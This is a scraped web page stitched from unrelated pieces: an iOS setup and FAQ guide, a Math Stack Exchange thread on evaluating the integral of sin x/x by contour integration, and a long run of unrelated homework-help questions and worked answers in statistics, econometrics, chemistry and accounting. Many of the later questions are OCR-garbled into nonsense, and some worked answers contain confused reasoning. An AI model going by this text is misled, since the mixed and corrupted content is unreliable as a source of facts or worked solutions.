content
stringlengths 228
999k
| pred_label
stringclasses 1
value | pred_score
float64 0.5
1
|
---|---|---|
Can Anyone help Me With My Script?
Hello ! i would like to add a run animation in my script so anyone can help me for that ?
here is the script
script.Parent.Activated:Connect(function()
if script.Parent.Text == "Sprint" then
script.Parent.Text = "Walk"
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 30
else
script.Parent.Text = "Sprint"
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
end
end)
4 Likes
So just an animation that plays when you run
2 Likes
local Anim = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation("Put your animation path")
Anim:Play()
2 Likes
Research before u post
2 Likes
I forgot to say it, but I’d like animation to work on mobile because when I do it, it doesn’t work.
2 Likes
I forgot to say it, but I’d like animation to work on mobile because when I do it, it doesn’t work.
2 Likes
This will work perfectly with any device if im correct
2 Likes
i’ve done every steps but it doesn’t work
1 Like
i am confused by what you mean dosn’t work on mobile as it should be replicated to any device i have modifed your code with the roblox docs code and left the reference below
script.Parent.Activated:Connect(function()
local animationTrack = game.Players.LocalPlayer.character.humanoid:LoadAnimation(animation path eg script:WaitForChild("animation"))
if script.Parent.Text == "Sprint" then
script.Parent.Text = "Walk"
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 30
animationTrack:Play()
else
script.Parent.Text = "Sprint"
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
animationTrack:Play()
end
end)
best of luck
I did not specify that when I play my game on pc and I press the shift key there is the sprint animation that plays and when I am on mobile and I press the sprint button it works but I will want to who has sprint animation
i am sorry but i dont quite understand the question could you please rephrase it the part in bafled by is
what exactly do you want does the animation not work or do you want to select certain players who can use the sprint animation i am sorry i dont understand
I’d like animation to work for mobile players too
it should unless your useing a seperate script for mobile players. by that i mean do you have a seperate script for when the shift button is pressed on mobile if so copy the script for pc to that one
|
__label__pos
| 0.979055 |
DATA Step, Macro, Functions and more
How to find the observations that satisfy a matching criteria?
Reply
Occasional Contributor
Posts: 8
How to find the observations that satisfy a matching criteria?
Hello, guys. I'm trying to replicate a empirical paper and I stick in a data step. Basically, I have a list of ID, dates, industry and firm ratios. What I wan to do is to locate another company with different id but the same date in another larger data set, Also, this matching company should be in the same industry and have similar ratios (within the range of plus and minus 10% of the companies in the original list). I'm wondering anyone can help?
Thank you so much
XB
Super User
Posts: 5,257
Re: How to find the observations that satisfy a matching criteria?
To perform conditional matching, use SQL join.
Data never sleeps
Trusted Advisor
Posts: 2,113
Re: How to find the observations that satisfy a matching criteria?
This is a common problem in epidemiology. Sufficiently so, that some macros have been developed. Check out
http://support.sas.com/resources/papers/proceedings10/061-2010.pdf
(I just googled
matching macro site:sas.com
).
As LinusH suggests, you could do it as a one-off with SQL. If your large data set is really big, the computer time might be huge.
Ask a Question
Discussion stats
• 2 replies
• 213 views
• 0 likes
• 3 in conversation
|
__label__pos
| 0.969822 |
Setting up SCIM with Azure Active Directory
Updated 1 week ago by Abhiram
User provisioning through SCIM 2.0 is only available through the hosted AD version called Azure Active Directory (AD). Kissflow Account Owners, Super Admins, and User Admins can set up SCIM-based user sync for Azure AD. Kissflow requires you to create an Azure enterprise application to sync your Azure AD users with your Kissflow account.
Generating a Base URL and SCIM token
1. Inside Kissflow, navigate to Account administration > User management and click Configure SCIM under SCIM.
2. Generate a SCIM token, copy the Base URL and SCIM token to the clipboard. As you will need to paste these in your Azure Enterprise application later, we recommend you download the JSON file that contains your unique Base URL and SCIM token.
You must keep the SCIM token secure as the token once generated will not be available again for copy or download.
Adding users and groups in Azure AD
1. After signing into Microsoft Azure, under Azure Services select Azure Active Directory.
1. You will be redirected to Default Directory Overview page, here on the left panel, under Manage, click Users or Groups based on what you want to create.
2. To create or invite new users to Azure AD, click the + New User button, update the user attribute values under Identitygroups and rolessettings, and job info and click create.
3. Similarly, to create groups in Azure AD, click the + New group button, update the group attribute values and click create.
Creating a new enterprise application in Azure AD
1. Sign into your Azure Active Directory as an Administrator, go to Enterprise applications.
Creating enterprise application in Azure AD
2. Select New application and choose Non-gallery application.
3. You will be asked for a name, enter a meaningful name for your enterprise app and click Add.
Creating non-gallery application
Assigning users to Azure enterprise application
1. On your enterprise app's left panel, under Manage, click the Users and groups tab.
2. Click the + Add user button, then manually select users and groups those of whom you want to sync with your Kissflow account.
3. Click Assign. You can assign multiple AD users and groups to your enterprise app. Only those users and groups that're assigned to your enterprise app can be provisioned to your Kissflow account.
Provisioning your enterprise app
1. Next, go to the Provisioning tab in your enterprise app.
2. From the Provisioning Mode dropdown, select Automatic.
User provisioning in Azure AD
3. Under Admin Credentials, paste your copied SCIM Base URL in the Tenant URL field and the SCIM token in the Secret Tokenfield.
4. Click Test Connection; a success toast message should appear.
5. Click Save at the top of your screen.
Mapping attributes of AD groups
1. Under Provisioning tab > Mappings, click "Provision Azure Active Directory Groups".
2. Adjust your group Attribute mappings so that the result matches the following screenshot. Then, Save your changes.
Mapping default attributes of AD users
1. Under Provisioning > Mappings, click "Provision Azure Active Directory Users".
2. Here, adjust your user Attribute mappings so as to include only those attributes of your Azure AD users that you want in Kissflow. You must delete all unwanted attributes for a successful provisioning to happen. You can arrange your default attributes as shown in the below screenshot. Click the Save button every time you perform an action within attribute mapping.
3. These are the important points to note when you edit the AD user attributes:
1. As shown in the image below, for the target customappsso attribute "emails[type eq "work"].value", change the source attribute from "mail" to "userPrincipalName" as shown here.
2. Similarly, for the target customappsso attribute "active", change the default expression value from "Switch([IsSoftDeleted], , "False", "True", "True", "False")" to "Not([IsSoftDeleted])" as shown below.
3. Also, for the target customappsso attribute "externalId", change the source attribute from "mailNickname" to "objectId" as shown below.
4. For Azure AD attribute jobTitle, values will be auto-updated in the Designation field of Kissflow User Management table after a successful SCIM sync.
4. Once the above attributes are successfully mapped, delete all unwanted attributes that you don't want in Kissflow. These attributes include, facsimileTelephoneNumber, state, city, mobile, streetAdress, etc.
Since, Kissflow does not support the SCIM 2.0 Enterprise User schema extension, you'll also have to delete the default attributes like employeeIddepartment, and manager from the list. Instead, you will need to separately add custom target attribute values for these attributes.
Adding Kissflow custom schema attributes
1. To add these custom attributes from Kissflow, enable the Show advanced options checkbox, then click Edit attribute list for customappsso.
2. Before updating the customappsso schema, make sure you also mark the AD source attribute "userPrincipalName" to requiredas shown below. This action will automate synchronization of Azure AD email addresses with Kissflow during account provisioning.
3. To add a customappsso User Attribute, copy the urn expression from the table below for each of the AD attributes and paste them in the blank field under customappsso User Attributes.
4. Next, change the Attribute type as listed in the table below.
5. Finally, you must select the following Referenced Object Attribute from the dropdown, "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User". Leave the “Reference Object Attribute” blank unless the “Type“ is set to “Reference”.
6. Click Save to create a custom attribute mapping. In a similar way, you can create custom attributes for other AD attributes listed in the table below.
Here's an example of how this mapping is done inside the Azure enterprise app.
Azure Active Directory Attribute
Attribute type
customappsso User Attributes
manager
Reference
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Manager field ID in Kissflow}.value
department
String
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Department field ID in Kissflow}
User type
String
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{User type field ID in Kissflow}.value
Number
Number
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Unique Number field ID in Kissflow}
Currency
String
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Unique Currency field ID in Kissflow}
Date
String
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Date field ID in Kissflow}
Date time
String
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Date-time field ID in Kissflow}
Yes/No
Boolean
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Boolean field yes/no in Kissflow}
Dropdown
String
urn:kissflow:scim:schemas:extension:Kissflow Account ID:2:User:{Dropdown field ID in Kissflow}
You must add your actual Kissflow Account ID in place of the yellow highlighted text and your unique field ID in your Kissflow user management table in place of the green highlighted text.
Mapping Kissflow custom schema attributes
The customappsso attributes that you map here are created using the steps mentioned above. These customappsso attributes get mapped to the relevant AD attributes that you want to sync with Kissflow.
1. To map your customappsso attribute, go back to the User Attribute Mapping screen.
2. Click Add New Mapping.
3. In the source attribute field, select the relevant Azure AD Attribute that you've created, for example, manager. Similarly, in the Target attribute field, select the relevant customappsso user attribute that you've defined. You can map all your custom attributes that you've added previously.
4. Click Save to confirm provisioning.
Provisioning status
1. Under Provisioning tab > Settings section, switch Provisioning Status to On.
2. Pick the Scope as Sync only assigned users and groups and click Save.
3. Under current status, click refresh. This will initiate user provisioning between Azure AD and Kissflow.
4. Wait for some time to see the provisioning status in your enterprise app. Once the provisioning is completed, AD users and groups can be seen inside Kissflow user management table with relevant attribute values.
Provisioning settings in Azure AD
How did we do?
|
__label__pos
| 0.519975 |
Amazon MWS Connector
Documentation
Version: 1
Documentation
Amazon MWS Connector Examples
The ZappySys API Driver is a user-friendly interface designed to facilitate the seamless integration of various applications with the Amazon MWS API. With its intuitive design and robust functionality, the ZappySys API Driver simplifies the process of configuring specific API endpoints to efficiently read or write data from Amazon MWS.
On this page you will find some SQL examples which can be used for API ODBC Driver or Data Gateway API Connector.
There are no examples
Getting Started with Examples
ZappySys API Driver is a powerful software solution designed to facilitate the extraction and integration of data from a wide range of sources through APIs. Its intuitive design and extensive feature set make it an essential asset for any organization dealing with complex data integration tasks.
To get started with examples using ZappySys API Driver, please click on the following applications:
SQL Server Connect Amazon MWS in SQL Server
Power BI Connect Amazon MWS in Power BI
SSRS Connect Amazon MWS in SSRS
Informatica Connect Amazon MWS in Informatica
MS Access Connect Amazon MWS in MS Access
MS Excel Connect Amazon MWS in MS Excel
SSAS Connect Amazon MWS in SSAS
C# Connect Amazon MWS in C#
Python Connect Amazon MWS in Python
JAVA Connect Amazon MWS in JAVA
Tableau Connect Amazon MWS in Tableau
SAP Crystal Reports Connect Amazon MWS in SAP Crystal Reports
Azure Data Factory (Pipeline) Connect Amazon MWS in Azure Data Factory (Pipeline)
Talend Studio Connect Amazon MWS in Talend Studio
UiPath Connect Amazon MWS in UiPath
PowerShell Connect Amazon MWS in PowerShell
ODBC Connect Amazon MWS in ODBC
Key features of the ZappySys API Driver include:
The API ODBC driver facilitates the reading and writing of data from numerous popular online services (refer to the complete list here) using familiar SQL language without learning complexity of REST API calls. The driver allows querying nested structure and output as a flat table. You can also create your own ODBC / Data Gateway API connector file and use it with this driver.
1. Intuitive Configuration: The interface is designed to be user-friendly, enabling users to easily set up the specific API endpoints within Amazon MWS without requiring extensive technical expertise or programming knowledge.
2. Customizable Endpoint Setup: Users can conveniently configure the API endpoint settings, including the HTTP request method, endpoint URL, and any necessary parameters, to precisely target the desired data within Amazon MWS.
3. Data Manipulation Capabilities: The ZappySys API Driver allows for seamless data retrieval and writing, enabling users to fetch data from Amazon MWS and perform various data manipulation operations as needed, all through an intuitive and straightforward interface.
4. Secure Authentication Integration: The driver provides secure authentication integration, allowing users to securely connect to the Amazon MWS API by inputting the necessary authentication credentials, such as API tokens or other authentication keys.
5. Error Handling Support: The interface is equipped with comprehensive error handling support, ensuring that any errors or exceptions encountered during the data retrieval or writing process are efficiently managed and appropriately communicated to users for prompt resolution.
6. Data Visualization and Reporting: The ZappySys API Driver facilitates the seamless processing and presentation of the retrieved data from Amazon MWS, enabling users to generate comprehensive reports and visualizations for further analysis and decision-making purposes.
Overall, the ZappySys API Driver serves as a powerful tool for streamlining the integration of applications with Amazon MWS, providing users with a convenient and efficient way to access and manage data, all through a user-friendly and intuitive interface.
|
__label__pos
| 0.745652 |
File Upload
Upload files with Story Protocol SDK
Files upload allows users to upload images, metadata and other data onto decentralized file systems. In Story Protocol, the SDK uses Arweave for hosting the uploaded files. Developers can use the uploadFile function in PlatformClient to upload files with SDK.
Usage
const { txHash } = await client.platform.uploadFile(file, mimeType);
Parameters
• file: File | Buffer: the object represents the file in typescript. For frontend development, we can use the object of File type in Javascript/Typescript. For backend development or pure node, we can use the object of Buffer type.
• mimeType: string: the media type (also known as a Multipurpose Internet Mail Extensions or MIME type) which indicates the format of the file. You can refer to this link for the full list of MIME types.
Response
Success Response
• uri: string: the string represent the URI of the uploaded file on Arweave.
Failure Response
The 500 server error will returned when:
• The uploaded file is too big.
Example
In Node, we can use the following code to upload a local file story.png with uploadFile function:
import { readFileSync } from 'fs';
const file = readFileSync(__dirname + '/story.png');
// Upload file
client.platform.uploadFile(file, 'image/x-png').then(uri => {
console.log(uri);
});
By running above example, you will get the following output:
{
uri: 'https://arweave.net/m-3wkEOwmCwfkv1A25qgo8WS3O3t8a9-e-vi5vrejWE'
}
You can also refer to the full source code of above example at https://github.com/storyprotocol/my-story-protocol-example/tree/main/sdk/platform.
|
__label__pos
| 0.8417 |
8
Possible Duplicate:
How do I format my code blocks?
When I put HTML into the form field for Stack Overflow questions, it doesn't show up. Why is this, and is there a way to get HTML markup to show up?
marked as duplicate by kiamlaluno, Lance Roberts, Won't Oct 24 '11 at 14:22
This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.
migrated from stackoverflow.com Oct 24 '11 at 4:50
This question came from our site for professional and enthusiast programmers.
3
Paste your code in the text area; select your HTML code, and click on the "{}" icon above. The code will get indented, and it will show the code in your question.
• 2
This is failing when you want to place the code sample after bullet points – Mick Mar 1 '17 at 1:46
• It works but when I do that my multiline html code is on the same line and I don't get the color coding. How can I get multiline colored html code to show up? – Sulli Jun 1 '18 at 13:46
7
It doesn't show up because it gets parsed as (invalid) HTML. You can use HTML to format your post, and it doesn't get shown if it's used for formatting. Here's the list of valid HTML tags. As that page says,
HTML tags not on this list are stripped from the output.
Notice that, for example, <html> is not on that list. If you have a pair of <html> tags at the start and end of your sample, they will be stripped, and your sample will display nothing at all.
You need to tell the parser not to render the sample, and instead to display it. You can do that in one of three ways:
1. For short, inline samples like my use of <html> above, use backticks (next to the 1 on your keyboard). The above line looks like:
my use of `<html>` above
2. For longer samples, use block code formatting. To do this, indent every line of the block by 4 spaces. You can do this manually, in a text editor, or by selecting the text and hitting the {} button in the toolbar:
enter image description here
3. Remember that you can use HTML to format your post. Enclose your code in <pre><code> to invoke the syntax highlighter and format your text as code.
1
And this question basically proofs this article:
http://www.codinghorror.com/blog/2009/10/treating-user-myopia.html
You indent the code 4 lines and that should work.
• Yep, I kept clicking and clicking {} around my code - but only trying once the 4x indent as suggested, it worked right away. Thanks! – gnB Jul 23 '14 at 18:27
• That must be a blog about how disappointing it is that you have to put HTML in a code block. – Jonathan Mee Jan 14 '16 at 12:54
1
Write your HTML code, select it, and click the "{}" icon on the top of that textarea.
<html><head></head><body>html code</body></html>
Not the answer you're looking for? Browse other questions tagged .
|
__label__pos
| 0.552068 |
RQGIS 0.1.0 release
Datetime:2016-08-23 01:45:07 Topic: R Program Share Original >>
Here to See The Original Article!!!
We proudly announce the release of RQGIS! RQGIS establishes an interface between R and QGIS, i.e. it allows the user to access the more than 1000 QGIS geoalgorithms from within R. To install it, run:
install.packages("RQGIS")
Naturally, you need to install other software (such as QGIS) to run RQGIS properly. Therefore, we wrote a package vignette, which guides you through the installation process of QGIS, GRASS and SAGA on various platforms. To access it, run:
vignette("install_guide", package = "RQGIS")
How to use RQGIS
To introduce RQGIS, we will demonstrate how to calculate the SAGA topographic wetness index. The first step is the creation of a QGIS environment. This is a list containing the paths RQGIS needs to access QGIS. Luckily for us, set_env does this for us. We merely need to specify the root path to the QGIS installation. This is most likely something like C:/OSGeo4W~1 on Windows, /usr on Linux and /usr/local/Cellar on a Mac. If we do not specify a path to the QGIS root folder, set_env tries to figure it out. This, however, might be time-consuming depending on the size of the drives to search.
library("RQGIS")
env <- set_env()
Secondly, we need to find out the name of the function in QGIS which calculates the wetness index:
find_algorithms("wetness index", name_only = TRUE, qgis_env = env)
## [1] "taudem:topographicwetnessindex" "saga:sagawetnessindex"
## [3] "saga:topographicwetnessindextwi" ""
There are three algorithms containing the words wetness and index in their short description. Here, we choose saga:sagawetnessindex . To retrieve the corresponding function arguments, we use get_args_man . By setting option to TRUE , we indicate that we would like to use the default values, if available:
args <- get_args_man(alg = "saga:sagawetnessindex",
options = TRUE,
qgis_env = env)
# print the retrieved list
args
## $DEM
## [1] "None"
##
## $SUCTION
## [1] "10.0"
##
## $AREA_TYPE
## [1] "0"
##
## $SLOPE_TYPE
## [1] "0"
##
## $SLOPE_MIN
## [1] "0.0"
##
## $SLOPE_OFF
## [1] "0.1"
##
## $SLOPE_WEIGHT
## [1] "1.0"
##
## $AREA
## [1] "None"
##
## $SLOPE
## [1] "None"
##
## $AREA_MOD
## [1] "None"
##
## $TWI
## [1] "None"
Of course, we need to specify certain function arguments such as the input (DEM) and output (TWI) arguments. Please note that RQGIS accepts as input argument either the path to a spatial object or a spatial object residing in R. Here, we will use a digital elevation model, which comes with the RQGIS package:
# load data into R
data("dem", package = "RQGIS")
# define input
args$DEM <- dem
# specify output path
args$TWI <- "twi.asc"
Finally, we can access QGIS from within R by supplying run_qgis with the specified arguments as a list. Specifying also the load_output -argument directly loads the QGIS output into R.
twi <- run_qgis(alg = "saga:sagawetnessindex",
params = args,
load_output = args$TWI,
qgis_env = env)
# visualize the result
library("raster")
hs <- hillShade(terrain(dem), terrain(dem, "aspect"), 40, 270)
pal <- RColorBrewer::brewer.pal(6, "Blues")
spplot(twi, col.regions = pal, alpha.regions = 0.8,
scales = list(tck = c(1, 0)),
colorkey = list(space = "bottom",
width = 1, height = 0.5,
axis.line = list(col = "black")),
cuts = length(pal) - 1) +
latticeExtra::as.layer(spplot(hs, col.regions = gray(0:100 / 100)),
under = TRUE)
New
Put your ads here, just $200 per month.
|
__label__pos
| 0.93461 |
Skip to Content
Archived discussions are read-only. Learn more about SAP Q&A
Issue with badi ME_PROCESS_REQ_CUST for transaction ME51N
Hi Techies,
Requirement: In t-code me51n, when user selects material and presses enter, the long text(basic text) present in mm03 for that material needs to be fetched and displayed in me51n item text.
My Piece of code:
data: lt_line type table of tline,
ls_line type tline,
gs_item type mereq_item,
g_matnr type thead-tdname,
g_fname type thead-tdname,
gt_line type table of mmpur_textlines,
gs_line type mmpur_textlines,
g_longtext type ref to if_longtexts_mm.
call method im_item->get_data
receiving
re_data = gs_item.
g_matnr = gs_item-matnr.
call function 'READ_TEXT'
exporting
client = sy-mandt
id = 'GRUN'
language = sy-langu
name = g_matnr
object = 'MATERIAL'
tables
lines = lt_line
exceptions
id = 1
language = 2
name = 3
not_found = 4
object = 5
reference_check = 6
wrong_access_to_archive = 7
others = 8
.
if sy-subrc <> 0.
message id sy-msgid type sy-msgty number sy-msgno
with sy-msgv1 sy-msgv2 sy-msgv3 sy-msgv4.
endif.
loop at lt_line into ls_line.
move-corresponding ls_line to gs_line.
append gs_line to gt_line.
*gt_line[] = lt_line[].
endloop.
call method im_item->if_longtexts_mm~set_text
exporting
im_tdid = 'B01'
im_textlines = gt_line
.
I am using Badi ME_PROCESS_REQ_CUST , method PROCESS_ITEM.
The issue I am facing is when I enter material and press enter, it is going to endless loop(i.e. not able to see the output).
Can anybody suggest where I am going wrong or if I need to write the logic in some other method.
Any suggestions will be appreciated.
T&R,
Vinit
Former Member
Not what you were looking for? View more on this topic or Ask a question
|
__label__pos
| 0.685769 |
Statistics
Part 2 - The president of the company is uncomfortable with the precision of the estimates derived for the sample mean. They are not willing to tolerate a very large error. e = .04, how large would the sample size have to be if they specify a 98% confidence level?
Formula:
n = [(z-value * sd)/E]^2
Note: n = sample size, z-value will be 2.33 using a z-table to represent the 98% confidence interval, sd = standard deviation, E = 0.04, ^2 means squared, and * means to multiply.
Plug known values into the formula and finish the calculation. Round your answer to the next highest whole number.
I hope this will help.
1. 👍
2. 👎
3. 👁
Respond to this Question
First Name
Your Response
Similar Questions
1. History
Which of the following were actions that motivated Radical Republicans to seek the impeachment of President Johnson? Choose all that apply. A. President Johnson encouraged former Confederate states to reject the Fourteenth
2. History
Which of the following were actions that motivated Radical Republicans to seek the impeachment of President Johnson? Select the two correct answers. A. ** President Johnson encouraged former Confederate states to reject the
3. statistics
A manufacturing company produces 10,000 plastic glasses per week. This company supplies plastic glasses to another company, which packages the glasses as part of picnic sets. The second company randomly samples 10 glasses from the
4. financial management
Last year Rattner Robotics had $5 million in operating income (EBIT). The company had net depreciation expense of $1 million and interest expense of $1 million; its corporate tax rate was 40 percent. The company has $14 million in
1. Mathematics
XYZ Company plans to market a new product.Based on its market studies,the company estimates that it can sell 5500 units in 2004.The selling price will be birr 2 per unit.Variable costs are estimated to be 40% of the selling
2. Executive Branch > Check Answers
1. Of the three types of independent agencies, which one operates much like a private business? government corporations* 2. Suppose the president were hurt badly, and was unable to inform the Vice President that he could not
3. Algebra 2
a company plans to sell embroidered hats for $15. the company's financial planner estimates that the cost, y, of manufacturing the hats is a quadratic function with a y-intercept of 7,920 and a vertex of (150, 9,000). what is the
4. Civics
6. If both the president and the vice president are unable to fulfill their duties, who takes over as president? A. President pro tempore of the Senate B. Attorney general C. Speaker of the House D. Secretary of state "In the case
1. Math
a bus company has 4000 passengers daily, each paying a fare of $2. for each $0.15 increase, the company estimates that it will lose 40 passengers per day. if the company needs to take in 10 450$ per day to stay in business, what
2. science
Large companies often have different workers who complete each different part of the transportation process. Their job is that single task. Pretend you are the manager of a large company. In three to five sentences, describe three
3. History
Which of the following is an example of the president's power of recognition? A:The president recognizes the Senate's approval of a treaty B:The president receives foreign diplomats*** C:The president approves another country's
4. Mathematics
Can someone help me with this Math problem? A Company plans to market a new model of house. Based on its market studies, the company estimates that it can sell up to 3,500 units in 2019. The selling price will be $2,000,000/unit.
You can view more similar questions or ask a new question.
|
__label__pos
| 0.998344 |
blob: 54a5b3647019105f41e2688a56c46ad9cdb2030a [file] [log] [blame]
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <stddef.h>
#include "cc/output/compositor_frame.h"
#include "cc/surfaces/surface.h"
#include "cc/surfaces/surface_factory.h"
#include "cc/surfaces/surface_factory_client.h"
#include "cc/surfaces/surface_hittest.h"
#include "cc/surfaces/surface_id_allocator.h"
#include "cc/surfaces/surface_manager.h"
#include "cc/test/surface_hittest_test_helpers.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/skia/include/core/SkColor.h"
#include "ui/gfx/geometry/size.h"
namespace cc {
namespace {
struct TestCase {
SurfaceId input_surface_id;
gfx::Point input_point;
SurfaceId expected_output_surface_id;
gfx::Point expected_output_point;
};
void RunTests(SurfaceHittestDelegate* delegate,
SurfaceManager* manager,
TestCase* tests,
size_t test_count) {
SurfaceHittest hittest(delegate, manager);
for (size_t i = 0; i < test_count; ++i) {
const TestCase& test = tests[i];
gfx::Point point(test.input_point);
gfx::Transform transform;
EXPECT_EQ(test.expected_output_surface_id,
hittest.GetTargetSurfaceAtPoint(test.input_surface_id, point,
&transform));
transform.TransformPoint(&point);
EXPECT_EQ(test.expected_output_point, point);
// Verify that GetTransformToTargetSurface returns true and returns the same
// transform as returned by GetTargetSurfaceAtPoint.
gfx::Transform target_transform;
EXPECT_TRUE(hittest.GetTransformToTargetSurface(
test.input_surface_id, test.expected_output_surface_id,
&target_transform));
EXPECT_EQ(transform, target_transform);
}
}
} // namespace
using namespace test;
// This test verifies that hit testing on a surface that does not exist does
// not crash.
TEST(SurfaceHittestTest, Hittest_BadCompositorFrameDoesNotCrash) {
SurfaceManager manager;
EmptySurfaceFactoryClient client;
SurfaceFactory factory(&manager, &client);
// Creates a root surface.
gfx::Rect root_rect(300, 300);
RenderPass* root_pass = nullptr;
std::unique_ptr<CompositorFrame> root_frame =
CreateCompositorFrame(root_rect, &root_pass);
// Add a reference to a non-existant child surface on the root surface.
SurfaceId child_surface_id(3, 0xdeadbeef, 0);
gfx::Rect child_rect(200, 200);
CreateSurfaceDrawQuad(root_pass,
gfx::Transform(),
root_rect,
child_rect,
child_surface_id);
// Submit the root frame.
SurfaceIdAllocator root_allocator(2);
SurfaceId root_surface_id = root_allocator.GenerateId();
factory.Create(root_surface_id);
factory.SubmitCompositorFrame(root_surface_id, std::move(root_frame),
SurfaceFactory::DrawCallback());
{
SurfaceHittest hittest(nullptr, &manager);
// It is expected this test will complete without crashes.
gfx::Transform transform;
EXPECT_EQ(root_surface_id,
hittest.GetTargetSurfaceAtPoint(
root_surface_id, gfx::Point(100, 100), &transform));
}
factory.Destroy(root_surface_id);
}
TEST(SurfaceHittestTest, Hittest_SingleSurface) {
SurfaceManager manager;
EmptySurfaceFactoryClient client;
SurfaceFactory factory(&manager, &client);
// Creates a root surface.
gfx::Rect root_rect(300, 300);
RenderPass* root_pass = nullptr;
std::unique_ptr<CompositorFrame> root_frame =
CreateCompositorFrame(root_rect, &root_pass);
// Submit the root frame.
SurfaceIdAllocator root_allocator(2);
SurfaceId root_surface_id = root_allocator.GenerateId();
factory.Create(root_surface_id);
factory.SubmitCompositorFrame(root_surface_id, std::move(root_frame),
SurfaceFactory::DrawCallback());
TestCase tests[] = {
{
root_surface_id,
gfx::Point(100, 100),
root_surface_id,
gfx::Point(100, 100)
},
};
RunTests(nullptr, &manager, tests, arraysize(tests));
factory.Destroy(root_surface_id);
}
TEST(SurfaceHittestTest, Hittest_ChildSurface) {
SurfaceManager manager;
EmptySurfaceFactoryClient client;
SurfaceFactory factory(&manager, &client);
// Creates a root surface.
gfx::Rect root_rect(300, 300);
RenderPass* root_pass = nullptr;
std::unique_ptr<CompositorFrame> root_frame =
CreateCompositorFrame(root_rect, &root_pass);
// Add a reference to the child surface on the root surface.
SurfaceIdAllocator child_allocator(3);
SurfaceId child_surface_id = child_allocator.GenerateId();
gfx::Rect child_rect(200, 200);
CreateSurfaceDrawQuad(root_pass,
gfx::Transform(1.0f, 0.0f, 0.0f, 50.0f,
0.0f, 1.0f, 0.0f, 50.0f,
0.0f, 0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 0.0f, 1.0f),
root_rect,
child_rect,
child_surface_id);
// Submit the root frame.
SurfaceIdAllocator root_allocator(2);
SurfaceId root_surface_id = root_allocator.GenerateId();
factory.Create(root_surface_id);
factory.SubmitCompositorFrame(root_surface_id, std::move(root_frame),
SurfaceFactory::DrawCallback());
// Creates a child surface.
RenderPass* child_pass = nullptr;
std::unique_ptr<CompositorFrame> child_frame =
CreateCompositorFrame(child_rect, &child_pass);
// Add a solid quad in the child surface.
gfx::Rect child_solid_quad_rect(100, 100);
CreateSolidColorDrawQuad(
child_pass,
gfx::Transform(1.0f, 0.0f, 0.0f, 50.0f,
0.0f, 1.0f, 0.0f, 50.0f,
0.0f, 0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 0.0f, 1.0f),
root_rect, child_solid_quad_rect);
// Submit the frame.
factory.Create(child_surface_id);
factory.SubmitCompositorFrame(child_surface_id, std::move(child_frame),
SurfaceFactory::DrawCallback());
TestCase tests[] = {
{
root_surface_id,
gfx::Point(10, 10),
root_surface_id,
gfx::Point(10, 10)
},
{
root_surface_id,
gfx::Point(99, 99),
root_surface_id,
gfx::Point(99, 99)
},
{
root_surface_id,
gfx::Point(100, 100),
child_surface_id,
gfx::Point(50, 50)
},
{
root_surface_id,
gfx::Point(199, 199),
child_surface_id,
gfx::Point(149, 149)
},
{
root_surface_id,
gfx::Point(200, 200),
root_surface_id,
gfx::Point(200, 200)
},
{
root_surface_id,
gfx::Point(290, 290),
root_surface_id,
gfx::Point(290, 290)
}
};
RunTests(nullptr, &manager, tests, arraysize(tests));
// Submit another root frame, with a slightly perturbed child Surface.
root_frame = CreateCompositorFrame(root_rect, &root_pass);
CreateSurfaceDrawQuad(root_pass,
gfx::Transform(1.0f, 0.0f, 0.0f, 75.0f,
0.0f, 1.0f, 0.0f, 75.0f,
0.0f, 0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 0.0f, 1.0f),
root_rect,
child_rect,
child_surface_id);
factory.SubmitCompositorFrame(root_surface_id, std::move(root_frame),
SurfaceFactory::DrawCallback());
// Verify that point (100, 100) no longer falls on the child surface.
// Verify that the transform to the child surface's space has also shifted.
{
SurfaceHittest hittest(nullptr, &manager);
gfx::Point point(100, 100);
gfx::Transform transform;
EXPECT_EQ(root_surface_id,
hittest.GetTargetSurfaceAtPoint(root_surface_id, point,
&transform));
transform.TransformPoint(&point);
EXPECT_EQ(gfx::Point(100, 100), point);
gfx::Point point_in_target_space(100, 100);
gfx::Transform target_transform;
EXPECT_TRUE(hittest.GetTransformToTargetSurface(
root_surface_id, child_surface_id, &target_transform));
target_transform.TransformPoint(&point_in_target_space);
EXPECT_NE(transform, target_transform);
EXPECT_EQ(gfx::Point(25, 25), point_in_target_space);
}
factory.Destroy(root_surface_id);
factory.Destroy(child_surface_id);
}
// This test verifies that hit testing will progress to the next quad if it
// encounters an invalid RenderPassDrawQuad for whatever reason.
TEST(SurfaceHittestTest, Hittest_InvalidRenderPassDrawQuad) {
SurfaceManager manager;
EmptySurfaceFactoryClient client;
SurfaceFactory factory(&manager, &client);
// Creates a root surface.
gfx::Rect root_rect(300, 300);
RenderPass* root_pass = nullptr;
std::unique_ptr<CompositorFrame> root_frame =
CreateCompositorFrame(root_rect, &root_pass);
// Create a RenderPassDrawQuad to a non-existant RenderPass.
CreateRenderPassDrawQuad(root_pass,
gfx::Transform(),
root_rect,
root_rect,
RenderPassId(1337, 1337));
// Add a reference to the child surface on the root surface.
SurfaceIdAllocator child_allocator(3);
SurfaceId child_surface_id = child_allocator.GenerateId();
gfx::Rect child_rect(200, 200);
CreateSurfaceDrawQuad(root_pass,
gfx::Transform(1.0f, 0.0f, 0.0f, 50.0f,
0.0f, 1.0f, 0.0f, 50.0f,
0.0f, 0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 0.0f, 1.0f),
root_rect,
child_rect,
child_surface_id);
